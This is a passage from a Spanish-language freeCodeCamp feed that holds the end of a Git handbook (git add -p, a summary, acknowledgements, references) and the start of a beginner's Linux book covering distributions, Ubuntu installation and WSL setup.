font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git add -p</code></figcaption></figure><p>Al tipear <code>?</code>, puedes ver qué significan cada opción distinta:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/add_p_2.png" class="kg-image" alt="Using a  to get a description of the different options" width="600" height="400" loading="lazy"><figcaption>Using a <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">?</code> to get a description of the different options</figcaption></figure><p>En este caso, digamos que solamente queremos poner en el área de preparación el cambio introduciendo <code>function_5</code>. No queremos poner en el área de preparación el cambio de <code>function_1</code>, así que seleccionamos <code>n</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/add_p_3.png" class="kg-image" alt="Not staging the change to " width="600" height="400" loading="lazy"><figcaption>Not staging the change to <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">function_1</code></figcaption></figure><p>Luego, nos aparece una ventana para el segundo cambio - el que introduce <code>function_5</code>. Queremos poner en el área de preparación este pedazo, así podemos tipear <code>y</code>.</p><!--kg-card-begin: html--><h1 id="resumen">Resumen</h1><!--kg-card-end: html--><p>Bueno, ¡esto fue divertido!</p><p>¿Puedes creer cuánto has aprendido?</p><p>En la <strong>Parte 1</strong> aprendiste sobre blobs, árboles y confirmaciones.</p><p>Luego aprendiste sobre las <strong>ramas</strong>, viendo que no son mas que una referencia nombrada a una confirmación.</p><p>Aprendiste el proceso de registrar cambios en Git, y que involucra el <strong>directorio de trabajo</strong>, el <strong>área de preparación (índice)</strong>, y el <strong>repositorio</strong>.</p><p>Luego - creaste un nuevo repositorio desde cero, al usar <code>echo</code> y comandos de bajo nivel tales como <code>git hash-object</code>. Creaste un blob, un árbol, y un objeto de confirmación apuntando a ese árbol.</p><p>En la <strong>Parte 2</strong> aprendiste sobre hacer ramas e integrar cambios en Git.</p><p>Aprendiste lo que es un <strong>diff</strong>, y la diferencia entre un diff y un <strong>parche</strong>. También aprendiste cómo se construye la salida de <code>git diff</code>.</p><p>Luego, tuviste un vistazo extensivo sobre fusionar con Git, específicamente entendiendo el algoritmo de fusión de tres vías. Entendiste cuándo los <strong>conflictos de fusión</strong> ocurren, cuándo Git los puede resolver automáticamente, y cómo los resuelve de forma manual cuando sea necesario.</p><p>Viste que <code>git rebase</code> es poderoso - pero también es bastante sencillo una vez que entiendes lo que hace. Entendiste las diferencias entre fusionar y hacer rebase, y cuando deberías usar cada uno.</p><p>En la <strong>Parte 3</strong> aprendiste cómo <strong>deshacer cambios</strong> en Git - especialmente cuando las cosas van mal. Aprendiste cómo usar un par de herramientas, como <code>git reset</code>, <code>git commit --ammend</code>, <code>git revert</code>, <code>git reflog</code> (y <code>git log -g</code>).</p><p>La herramienta más importante, aún más importante que las herramientas que listé, es limpiar la situación actual vs el que se desea. Créeme en esta, hará que cada situación parezca menos intimidante y la solución más claro.</p><p>En la <strong>Parte 4</strong> adquiriste herramientas poderosas adicionales, como diferentes conmutadores de <code>git log</code>, <code>git bisect</code>, <code>git cherry-pick</code>, <code>git revert</code> y <code>git add -p</code>.</p><p>Wow, ¡deberías sentirte orgulloso!</p><h3 id="un-mensaje-de-m-para-t-">Un mensaje de mí para tí</h3><p>En efecto, eso fue divertido, pero todas las cosas deben pasar. Terminaste de leer este libro, pero no significa que tu jornada de aprendizaje termina aquí.</p><p>Lo que has adquirido, más que cualquier herramienta específica, es intuición y entendimiento de cómo opera Git, y cómo pensar sobre varias operaciones en Git. Sigue investigando, leyendo, y usando Git. Estoy seguro que serás capaz de enseñarme algo nuevo, y por todos los medios - hazlo por favor.</p><p>Si te gustó este libro, por favor compártelo con más personas.</p><p>Si quieres leer más de mis artículos de Git y manuales, aquí están:</p><ol><li><a href="https://www.freecodecamp.org/news/git-rebase-handbook/">The Git Rebase Handbook</a></li><li><a href="https://www.freecodecamp.org/news/the-definitive-guide-to-git-merge/">The Git Merge Handbook</a></li><li><a href="https://www.freecodecamp.org/news/git-diff-and-patch/">The Git Diff and Patch Handbook</a></li><li><a href="https://www.freecodecamp.org/news/git-internals-objects-branches-create-repo/">Git Internals - Objects, Branches, and How to Create a Repo</a></li><li><a href="https://www.freecodecamp.org/news/save-the-day-with-git-reset/">Git Reset Command Explained</a></li></ol><h3 id="reconocimientos">Reconocimientos</h3><p>Mucha gente ayudó en hacer este libro lo mejor que se podía. Entre ellos, fui afortunado de tener muchos lectores beta que me dieron comentarios así podía mejorar el libro. Específicamente, me gustaría agradecer a Jason S. Shapiro, Anna Łapińska, C. Bruce Hilbert, y Jonathon McKitrick por sus revisiones exhaustivas.</p><p>Abbey Rennemeyer ha sido una editor maravillosa. Después que ha revisado mis publicaciones para freeCodeCamp por tres años, fue claro que le pidiera que fuera el editor de este libro también. Ella me ayudó en mejorar el libro de muchas formas, y estoy agradecido por su ayuda.</p><p>Quincy Larson fundó la maravillosa comunidad en freeCodeCamp, me motivó por medio de emails y discusiones de cara a cara. Le agradezco por generar esta increíble comunidad, y por su amistad.</p><p>Estefania Cassingena Navone diseñó la portada de este libro. Estoy agradecido por su trabajo profesional y su paciencia con mis pedidos y perfeccionismo.</p><p>El sitio web de Daphne Gray-Grant, <a href="https://www.publicationcoach.com/">"Publication Coach"</a>, me dio inspiración así también como consejos técnicos que me ayudó mucho con mi proceso de escritura.</p><h3 id="si-deseas-apoyar-este-libro">Si deseas apoyar este libro</h3><p>Si te gustaría apoyar este libro, puedes comprar la <a href="https://www.amazon.com/dp/B0CQXTJ5V5">versión en papel</a>, un <a href="https://www.buymeacoffee.com/omerr/e/197232">versión E-Book (libro electrónico)</a>, o <a href="https://www.buymeacoffee.com/omerr">comprarme un café</a>. ¡Gracias!</p><h3 id="cont-ctame">Contáctame</h3><p>Este libro ha sido creado para ayudarte y gente como tú aprenda, entienda Git, y aplique sus conocimientos en la vida real.</p><p>Bien al principio, pedí comentarios y fui afortunado de recibirlo de gente estupenda (mencionado en los Reconocimientos) para asegurar que el libro alcanzara estos objetivos. Si te gustó algo de este libro, sentiste que algo estaba faltando o necesitaba mejorar - me encantaría que me lo dijeras. Por favor háblame en: <code>gitting.things@gmail.com</code>.</p><p>Gracias por aprender y permitirme ser parte de tu jornada.</p><p>- Omer Rosenbaum</p><!--kg-card-begin: html--><h1 id="apendices">Apéndices</h1><!--kg-card-end: html--><h2 id="referencias-adicionales-por-parte">Referencias Adicionales - Por Parte</h2><p>(Nota - esta es una lista corta. Puedes encontrar una lista más larga de referencias en la versión <a href="https://www.buymeacoffee.com/omerr/e/197232">E-Book</a> o la <a href="https://www.amazon.com/dp/B0CQXTJ5V5">impresa</a>.)</p><h3 id="parte-1"><em>Parte 1</em></h3><ul><li>Lista de reproducción de Youtube sobre los Componentes Internos de Git - por Brief:<br><a href="https://www.youtube.com/playlist?list=PL9lx0DXCC4BNUby5H58y6s2TQVLadV8v7">https://www.youtube.com/playlist?list=PL9lx0DXCC4BNUby5H58y6s2TQVLadV8v7</a></li><li>Conferencia de Tim Berglund - "Git From the Bits Up":<br><a href="https://www.youtube.com/watch?v=MYP56QJpDr4">https://www.youtube.com/watch?v=MYP56QJpDr4</a></li><li>como prometí, la documentación: Git for the confused:<br><a href="https://www.gelato.unsw.edu.au/archives/git/0512/13748.html">https://www.gelato.unsw.edu.au/archives/git/0512/13748.html</a></li></ul><h3 id="parte-2">Parte 2</h3><h4 id="diffs-y-parches">Diffs y Parches</h4><p>Algoritmos de Diffs de Git:</p><ul><li><a href="https://es.wikipedia.org/wiki/Diff">https://es.wikipedia.org/wiki/Diff</a></li></ul><p>El algoritmo de diff más predeterminado en Git es Myers:</p><ul><li><a href="https://www.nathaniel.ai/myers-diff/">https://www.nathaniel.ai/myers-diff/</a></li><li><a href="https://blog.jcoglan.com/2017/02/12/the-myers-diff-algorithm-part-1/">https://blog.jcoglan.com/2017/02/12/the-myers-diff-algorithm-part-1/</a></li><li><a href="https://blog.robertelder.org/diff-algorithm/">https://blog.robertelder.org/diff-algorithm/</a></li></ul><h4 id="git-merge"><strong>Git Merge</strong></h4><ul><li><a href="https://git-scm.com/book/es/v2/Herramientas-de-Git-Fusi%C3%B3n-Avanzada">https://git-scm.com/book/es/v2/Herramientas-de-Git-Fusión-Avanzada</a></li><li><a href="https://blog.plasticscm.com/2010/11/live-to-merge-merge-to-live.html">https://blog.plasticscm.com/2010/11/live-to-merge-merge-to-live.html</a></li></ul><h4 id="git-rebase"><strong>Git Rebase</strong></h4><ul><li><a href="https://jwiegley.github.io/git-from-the-bottom-up/1-Repository/7-branching-and-the-power-of-rebase.html">https://jwiegley.github.io/git-from-the-bottom-up/1-Repository/7-branching-and-the-power-of-rebase.html</a></li><li><a href="https://git-scm.com/book/es/v2/Ramificaciones-en-Git-Reorganizar-el-Trabajo-Realizado">https://git-scm.com/book/es/v2/Ramificaciones-en-Git-Reorganizar-el-Trabajo-Realizado</a></li></ul><h4 id="recursos-relacionados-a-los-beatles-1"><strong>Recursos relacionados a los Beatles</strong></h4><ul><li><a href="https://www.the-paulmccartney-project.com/song/ive-got-a-feeling/">https://www.the-paulmccartney-project.com/song/ive-got-a-feeling/</a></li><li><a href="https://www.cheatsheet.com/entertainment/did-john-lennon-or-paul-mccartney-write-the-classic-a-day-in-the-life.html/">https://www.cheatsheet.com/entertainment/did-john-lennon-or-paul-mccartney-write-the-classic-a-day-in-the-life.html/</a></li><li><a href="http://lifeofthebeatles.blogspot.com/2009/06/ive-got-feeling-lyrics.html">http://lifeofthebeatles.blogspot.com/2009/06/ive-got-feeling-lyrics.html</a></li></ul><h3 id="part-3"><strong>Part 3</strong></h3><ul><li><a href="https://git-scm.com/book/es/v2/Herramientas-de-Git-Reiniciar-Desmitificado">https://git-scm.com/book/es/v2/Herramientas-de-Git-Reiniciar-Desmitificado</a></li><li><a href="https://www.edureka.co/blog/common-git-mistakes/">https://www.edureka.co/blog/common-git-mistakes/</a></li></ul> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Aprender Linux para Principiantes: Desde las Bases a Técnicas Avanzadas [Libro Completo] ]]>
                </title>
                <description>
                    <![CDATA[ Aprender Linux es una de las habilidades más valiosas en la industria de la tecnología. Te ayuda a realizar las tareas más rápidamente y de manera más eficiente. Muchos de los servidores poderosos y supercomputadoras del mundo ejecutan Linux. Mientras que te fortalece en tu rol actual, aprender Linux también ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/learn-linux-for-beginners-from-basics-to-advanced-techniques-full-book/</link>
                <guid isPermaLink="false">66bbd9a1d77ca5042ec0cb1f</guid>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bash ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Wed, 09 Oct 2024 14:35:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/08/764782a4-1bf3-45a5-857c-7fe3921bfb08.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Aprender Linux es una de las habilidades más valiosas en la industria de la tecnología. Te ayuda a realizar las tareas más rápidamente y de manera más eficiente. Muchos de los servidores poderosos y supercomputadoras del mundo ejecutan Linux.</p><p>Mientras que te fortalece en tu rol actual, aprender Linux también te puede ayudar en transicionar a otras carreras tech como DevOps, Ciberseguridad, y Computación en la Nube.</p><p>En este manual, aprenderás las bases de la línea de comandos de Linux, y luego transitaremos a temas más avanzados como <em>programación de scripts</em> y administración de sistema. Sea que eres nuevo en Linux o que ya has estado usándolo por años, este libro tiene algo para ti.</p><p><strong>Nota Importante</strong>: Todos los ejemplos en este libro son mostrados en Ubuntu 22.04.2 LTS (Jammy Jellyfish). La mayoría de las herramientas de línea de comandos son más o menos los mismos en otras distribuciones. Sin embargo, algunas aplicaciones de escritorio (GUI) y comandos podrían diferir si estás trabajando en otra distribución de Linux.</p><h2 id="tabla-de-contenidos">Tabla de Contenidos</h2><p><a href="#parte-1-introduccion-linux">Parte 1: Introducción a Linux</a></p><ul><li><a href="#comenzando-linux">1.1. Comenzando con Linux</a></li></ul><p><a href="#parte-2-introduccion-bash">Parte 2: Introducción al Shell de Bash y los Comandos de Sistema</a></p><ul><li><a href="#comenzando-shell-bash">2.1. Comenzando con el shell de Bash</a></li><li><a href="#estructura-comando">2.2. La Estructura de Command</a></li><li><a href="#comandos-bash-y-atajos">2.3. Comandos de Bash y Atajos de Teclado</a></li><li><a href="#comando-whomai">2.4. Identificándote: El Comando <code>whoami</code></a></li></ul><p><a href="#parte-3-entendiendo-sistema-linux">Parte 3: Entendiendo tu Sistema de Linux</a></p><ul><li><a href="#descubriendo-tu-so-y-especificaciones">3.1. Descubriendo tu SO y Especificaciones</a></li></ul><p><a href="#parte-4-manejando-archivos-desde-el-cli">Parte 4: Manejando Archivos desde la Línea de Comando</a></p><ul><li><a href="#la-jerarquia-del-sistema-archivos-linux">4.1. La Jerarquía del Sistema de Archivos de Linux</a></li><li><a href="#navegando-sistema-archivos-de-linux">4.2. Navegando a través del Sistema de Archivos de Linux</a></li><li><a href="#manejando-archivos-y-carpetas">4.3. Manejando Archivos y Directorios</a></li><li><a href="#localizando-archivos-y-carpetas">4.4 Localizando archivos y carpetas usando el comando <code>find</code></a></li><li><a href="#comandos-basicos-para-ver-archivos">4.5. Comandos Básicos para ver Archivos</a></li></ul><p><a href="#parte-5-esencial-sobre-edicion-texto-linux">Parte 5: Lo Esencial sobre Edición de Texto en Linux</a></p><ul><li><a href="#dominando-vim-guia-completa">5.1. Dominando Vim: La Guía Completa</a></li><li><a href="#dominando-nano">5.2. Dominando Nano</a></li></ul><p><a href="#parte-6-programacion-en-bash">Parte 6: La Programación en Bash</a></p><ul><li><a href="#definicion-de-los-scripts-bash">6.1. Definición de los scripts de Bash</a></li><li><a href="#ventajas-scripts-bash">6.2. Ventajas de los scripts de Bash</a></li><li><a href="#vista-general-shell-bash-y-cli">6.3. Vista General del Shell Bash y de la Interfaz de Línea de Comandos</a></li><li><a href="#como-crear-y-ejecutar-scripts-bash">6.4. Cómo crear y ejecutar scripts de Bash</a></li><li><a href="#basico-programacion-bash">6.5. Lo Básico de la Programación en Bash</a></li></ul><p><a href="#parte-7-manejo-paquetes-software-linux">Parte 7: Manejando Paquetes de Software en Linux</a></p><ul><li><a href="#paquetes-y-gestion-paquetes">7.1. Paquetes y Gestión de Paquetes</a></li><li><a href="#instalando-paquete-a-traves-cli">7.2. Instalando un Paquete a través de la Línea de Comando</a></li><li><a href="#instalando-paquete-a-traves-gui-synaptic">7.3. Instalando un Paquete a través de un Método Gráfico Avanzado – Synaptic</a></li><li><a href="#instalando-paquetes-descargados">7.4. Instalando Paquetes Descargados desde un sitio web</a></li></ul><p><a href="#parte-8-temas-linux-avanzados">Parte 8: Temas de Linux Avanazados</a></p><ul><li><a href="#gestion-del-usuario">8.1. Gestión del Usuario</a></li><li><a href="#conectandose-sevidores-remotos-a-traves-ssh">8.2 Conectándose a Servidores Remotos a través de SSH</a></li><li><a href="#analisis-sintactico-y-analisis-log-avanzado">8.3. Análisis Sintáctico y Análisis de Archivos Log Avanzados</a></li><li><a href="#gestionando-procesos-de-linux">8.4. Manejando los Procesos de Linux a través de la Línea de Comandos</a></li><li><a href="#flujos-entrada-y-salida-estandar-en-linux">8.5. Flujos de Entrada y Salida Estándar en Linux</a></li><li><a href="#automatizacion-linux-automatizar-tareas-cron-jobs">8.6 Automatización en Linux – Automatizar Tareas con Tareas de Cron</a></li><li><a href="#conceptos-basicos-de-redes-de-linux">8.7. Conceptos Básicos de Redes de Linux</a></li><li><a href="#solucionando-problemas-linux-herramientas-y-tecnicas">8.8. Solución de problemas de Linux: Herramientas y Técnicas</a></li><li><a href="#estrategia-general-para-solucionar-problemas-servidores">8.9. Estrategia de Solución de Problemas General para los Servidores</a></li></ul><p><a href="#conclusion">Conclusión</a></p><!--kg-card-begin: html--><h2 id="parte-1-introduccion-linux">Parte 1: Introducción a Linux</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="comenzando-linux">1.1. Comenzando con Linux</h3><!--kg-card-end: html--><h4 id="-qu-es-linux">¿Qué es Linux?</h4><p>Linux es un Sistema Operativo de código abierto que está basado en el Sistema Operativo Unix. Fue creado por Linus Torvalds in 1991.</p><p>El Código Abierto significa que el código fuente del Sistema Operativo está disponible al público. Este le permite a cualquiera modificar el código origina, personalizarlo, y distribuir el Sistema Operativo a usuarios potenciales.</p><h4 id="-por-qu-deber-as-aprender-sobre-linux">¿Por qué deberías aprender sobre Linux?</h4><p>En el escenario de los centros de datos de hoy, Linux y Microsoft Windows se destacan como los contendientes, con Linux teniendo la mayor parte.</p><p>Aquí hay varias razones convincentes para aprender Linux:</p><ul><li>Dada la prevalencia del alojamiento de Linux, hay una alta chance que tu aplicación será alojado en Linux. Así que aprender Linux como un desarrollador se convierte cada vez más valorado.</li><li>Con la computación en la nube se convierte en la norma, las chances son altas que tus instancias de la nube se basará en Linux.</li><li>Los servidores de Linux como la fundación para muchos Sistemas Operativos para el Internet de las Cosas (IoT) y aplicaciones móviles.</li><li>En IT, hay muchas oportunidades para aquellos hábiles en Linux.</li></ul><h4 id="-qu-significa-que-linux-es-un-sistema-operativo-de-c-digo-abierto">¿Qué significa que Linux es un Sistema Operativo de código abierto?</h4><p>Primero, ¿qué es código abierto? Software de código abierto cuyo código fuente es accesible gratuitamente, permitiendo a cualquier utilizar, modificar y distribuirlo.</p><p>Cuando sea que el código fuente fuese creado, se considera automáticamente protegido por derechos de autor, y su distribución se rige por el titular de los derechos de autor a través de licencias de software.</p><p>En contraste al código abierto, el software propietario o de código cerrado restringe el acceso a su código fuente. Solamente los creadores pueden verlos, modificarlos o distribuirlos.</p><p>Linux es ante todo de código abierto, lo que significa que su código fuente está disponible de forma gratuita. Cualquiera puede verlo, modificarlo, y distribuirlo. Los Desarrolladores desde cualquier lugar en el mundo pueden contribuir a sus mejoras. Esto sienta la fundación de la colaboración lo cual es un aspecto importante del software de código abierto.</p><p>Esto enfoque colaborativo ha llevado a la amplia adopción de Linux entre los servidores, computadoras de escritorio, sistemas embebidos, y dispositivos móviles.</p><p>El aspecto más interesante de Linux siendo de código abierto es que cualquier puede adaptar el sistema operativo a sus necesidades específicas sin ser restringido por las limitaciones de propiedad.</p><p>El SO (Sistema Operativo) Chrome utilizado por los Chromebooks está basado en Linux. Android, que impulsa a muchos teléfonos inteligentes, también está basado en Linux.</p><p><strong>¿Qué es un Kernel de Linux?</strong></p><p>El kernel es el componente central de un Sistema Operativo que gestiona la computadora y sus operaciones hardware. Maneja operaciones de memoria y el tiempo de CPU.</p><p>El kernel actúa como un puente entre aplicaciones y el proceso de datos a nivel de hardware usando la comunicación entre procesos y llamadas de sistema.</p><p>El kernel se carga en memoria primero cuando un Sistema Operativo comienza y permanece allí hasta que el sistema se apaga. Es responsable de tareas como la gestión de disco, gestión de tareas, y gestión de memoria.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719844849011/f4bb226e-f319-4cb5-bfc9-c1a80401123e.png" class="kg-image" alt="Linux Kernel Layout showing interaction of kernal with applications and OS" width="563" height="393" loading="lazy"></figure><p>Si estás interesado en saber cómo se ve el kernel de Linux, <a href="https://github.com/torvalds/linux">aquí</a> está el enlace de Github.</p><h4 id="-que-es-una-distribuci-n-de-linux">¿Que es una distribución de Linux?</h4><p>A este punto, sabes que puedes re-usar el código kernel de Linux, modificarlo, y crear un nuevo kernel. Puedes aún combinar diferentes utilidades y software para crear un Sistema Operativo completamente nuevo.</p><p>Una distribución de Linux o distro es una versión del Sistema Operativo Linux que incluye el kernel de Linux, utilidades de sistema, y otros software. Siendo de código abierto, una distribución de Linux es un esfuerzo colaborativo que involucra múltiples comunidades de desarrollo de código abierto independientes.<strong>¿Qué significa que una distribución sea derivado?</strong> Cuando dices que una distribución es "derivado" de otro, el nuevo distro está construido sobre la base o fundación del distro original. Esta derivación puede incluir el usar el sistema de gestión de paquetes (más sobre esto después), versión del kernel, y a veces las mismas herramientas de configuración.</p><p>Hoy, hay miles distribuciones de Linux para elegir, ofreciendo diferentes objetivos y criterios para seleccionar y soportar el software provisto por su distribución.</p><p>Las distribuciones varían uno del otro, pero generalmente tienen características en común.</p><ul><li>Una distribución consiste de un kernel de Linux.</li><li>Soporta programas de espacio de usuario.</li><li>Una distribución podría ser pequeño y de un solo propósito o incluir miles de programas de código abierto.</li><li>Algunos medios para instalar y actualizar la distribución y sus componentes debería ser provistos.</li></ul><p>Si ves la <a href="https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg">Línea de Tiempo de las Distribuciones de Linux</a>, verás dos mayores distros: Slackware y Debian. Varias distribuciones son derivados de ellos. Por ejemplo, Ubuntu y Kali son derivados de Debian.</p><p><strong>¿Cuáles son las ventajas de la derivación?</strong> Hay varias ventajas de la derivación. La Distribuciones derivadas pueden aprovechar la estabilidad, seguridad, y grandes repositorios de software de la distribución padre.</p><p>Cuando se construye sobre una fundación existente, los desarrolladores pueden conducir su enfoque y esfuerzo enteramente en las características especializadas de la nueva distribución. Los usuarios de distribuciones derivadas se pueden beneficiar de la documentación, el soporte de comunidad, y recursos ya disponibles para la distribución padre.</p><p>Algunas distribuciones de Linux populares son:</p><ol><li><strong>Ubuntu</strong>: Uno de las distribuciones de Linux más usado y más popular. Es amigable y recomendado para los principiantes. <a href="https://ubuntu.com/">Aprender más sobre Ubuntu aquí</a>.</li><li><strong>Linux Mint</strong>: Basado en Ubuntu, Linux Mint provee una experiencia amigable con un enfoque en soporte de multimedia. <a href="https://linuxmint.com/">Aprender más sobre Linux Mint aquí</a>.</li><li><strong>Arch Linux</strong>: Popular entre usuarios experimentados, Arch es una distribución ligera y flexible dirigido a usuarios que prefieren un enfoque DIY. <a href="https://www.archlinux.org/">Aprender más sobre Arch Linux aquí</a>.</li><li><strong>Manjaro</strong>: Basado en Arch Linux, Manjaro provee una experiencia amigable con software pre-instalado y herramientas sencillas de gestión del sistema. <a href="https://manjaro.org/">Aprender más sobre Manjaro aquí</a>.</li><li><strong>Kali Linux</strong>: Kali Linux provee un conjunto comprensivo de herramientas de seguridad y está mayormente enfocado en ciberseguridad y hacking. <a href="https://www.kali.org/">Aprender más sobre Kali Linux aquí</a>.</li></ol><h4 id="c-mo-instalar-y-acceder-a-linux">Cómo instalar y acceder a Linux</h4><p>La mejor manera de aprender es aplicar los conceptos a medidas que avanzas. En esta sección, aprenderemos cómo instalar Linux en tu máquina así puedes seguirme. También aprenderás cómo acceder a Linux en una máquina con Windows.</p><p>Te recomiendo que sigas cualquiera de los métodos mencionados en esta sección para tener acceso a Linux así puedes seguirme.</p><h5 id="instalar-linux-como-el-so-primario">Instalar Linux como el SO primario</h5><p>Instalar Linux como el SO primario es la forma más eficiente de usar Linux, ya que puedes usar todo el poder de tu máquina.</p><p>En esta sección, aprenderás cómo instalar Ubuntu, el cual es uno de las distribuciones de Linux más popular. Dejé fuera de lista otras distribuciones por ahora, ya que quiero mantener las cosas sencillas. Siempre puedes explorar otras distribuciones una vez que te sientas cómodo con Ubuntu.</p><p><strong>Paso 1 – Descargar el iso de Ubuntu:</strong> Ve al <a href="https://ubuntu.com/download/desktop">sitio web</a> oficial y descarga el archivo iso. Asegúrate en seleccionar un lanzamiento estable que está caracterizado como "LTS". LTS significa "Soporte de Largo Término" (Long Term Support en inglés) lo que significa que puedes obtener seguridad gratuita y actualizaciones de mantenimiento por un tiempo prolongado (usualmente 5 años).</p><p><strong>Paso 2 – Crea un pendrive bootable:</strong> Hay un número de softwares que puede crear un pendrive booteable. Recomiendo usar Rufus, ya que es bastante fácil de usar. Puedes descargarlo <a href="https://rufus.ie/">aquí</a>.</p><p><strong>Paso 3 – Iniciar desde el pendrive:</strong> Una vez que tu pendrive bootable está listo, insértalo y inicia desde el pendrive. El menú del boot depende de tu laptop. Puedes buscar en google el menú de boot para tu modelo de laptop.</p><p><strong>Paso 4 – Sigue los pasos.</strong> Una vez, que el proceso de boot comience, selecciona <code>try or install ubuntu</code>.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719304227675/5b706f94-7368-47ca-a4d6-d55a0d92eff9.png" class="kg-image" alt="Screen prompt to either try or install Ubuntu" width="611" height="329" loading="lazy"></figure><p>El proceso tomará algo de tiempo. Una vez que el GUI aparece, puedes seleccionar el idioma, y el teclado, y continuar. Ingresa al inicio de sesión con tu nombre. Recuerda las credenciales ya que los necesitarás para inciar sesión en tu sistema y acceder a privilegios totales. Espera que la instalación se complete.</p><p><strong>Paso 5 – Reinicia:</strong> Haz clic en reiniciar ahora y retira el pen drive.</p><p><strong>Paso 6 – Inicia sesión:</strong> Inicia sesión con las credenciales que ingresaste anterioremente.</p><p>¡Y ahí está! Ahora puedes instalar aplicaciones y personalizar tu escritorio.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719304547967/d150c6eb-d04e-47e0-8473-d1a837df45c4.png" class="kg-image" alt="Ubuntu 22.04.4 LTS Desktop screen" width="1920" height="1080" loading="lazy"></figure><p>Para una instalación avanzada, puedes explorar los siguientes temas:</p><ul><li>Particionamiento de Disco.</li><li>Configurar la memoria de intercambio para permitir la hibernación.</li></ul><p><strong>Accediendo a la terminal</strong></p><p>Una parte importante de este manual es aprender sobre la terminal donde ejecutarás todos los comandos y ver toda la magia. Puedes buscar en la terminal presionando la tecla "window" y escribiendo "terminal". Puedes fijar la Terminal en el <em>dock</em> donde otras aplicaciones están localizadas para un fácil acceso.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719305113272/4dd30c5e-da73-4cd4-86bb-7dcd8cd2084c.png" class="kg-image" alt="Search results for &quot;terminal&quot;" width="437" height="255" loading="lazy"></figure><blockquote>💡 The shortcut for opening the terminal is <code>ctrl+alt+t</code></blockquote><p>También puedes abrir la terminal desde una carpeta. Haz clic derecho donde estás y haz clic en "Abrir en Terminal". Esto abrirá la terminal en la misma ruta.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719305289021/284a4a53-2d1a-4eaa-925a-1002a32c1dce.png" class="kg-image" alt="Opening the terminal with right click menu" width="640" height="414" loading="lazy"></figure><h5 id="c-mo-usar-linux-en-una-m-quina-windows">Cómo usar Linux en una máquina Windows</h5><p>A veces prodrías necesitar ejecutar tanto Linux como Windows lado a lado. Afortunadamente, hay varias maneras que puedes aprovechar de ambos mundos sin tener distintas computadoras para cada sistema operativo.</p><p>En esta sección, explorarás una pocas formas de usar Linux en una máquina de Linux. Algunos de ellos basados al navegador o basados en la nube y no necesita ninguna instalación de SO antes de usarlos.</p><p><strong>Opción 1: "Dual-boot" Linux + Windows</strong>: Con dual boot, puedes instalar Linux juntamente con Windows en tu computadora, permitiéndote elegir qué Sistema Operativo usar al inicio.</p><p>Esto requierer particionar tu disco duro e instalar Linux en una partición separada. Con este enfoque, solamente puedes usar un sistema Operativo a la vez.</p><p><strong>Opción 2: USar el Subsitema de Windows &nbsp;para Linux &nbsp;(WSL)</strong>: El Subsistema para Linux provee una capa de comtabilidad que te permite ejecutar ejecutables binarios de Linux de forma nativa en WIndows.</p><p>Usando WSL tiene algunas ventajas. La configuración para WSL es sencilla y rápida. Es liviana comparado con los VMs donde tiene que aisgnar recursos desde la máquina anfitriona. No necesitas instalar ningún ISO o imagen de disco virtual para las máquinas Linux los cuales tienden a ser archivos pesados. Puedes usar Windows y Linux lado a lado.</p><p><strong>Cómo instalar WSL2</strong></p><p>Primero, activa el Subsitema de Windows para la opción Linux en las configuraciones.</p><p>Ve al inicio. Busca "Turn Windows features on or off".</p><p>Verifica la opción "Windows Subsystem for Linux" si ya no está.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306102095/84f23bae-faa5-4ece-a9b6-e40f8789a061.png" class="kg-image" alt="Checking the option &quot;Windows Subsystem for Linux&quot; in Windows features" width="891" height="550" loading="lazy"></figure><p>Luego, abre tu línea de comandos y provee los comandos de instalación.</p><p>Abre la terminal como un administrador:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720451480640/6052c9b4-cf07-47e0-ae89-18c3a2d3e385.png" class="kg-image" alt="Running command prompt as an admin by right clicking the app and choosing &quot;run as admin£" width="1032" height="846" loading="lazy"></figure><p>Ejecuta el comando de abajo:</p><pre><code class="language-markdown">wsl --install
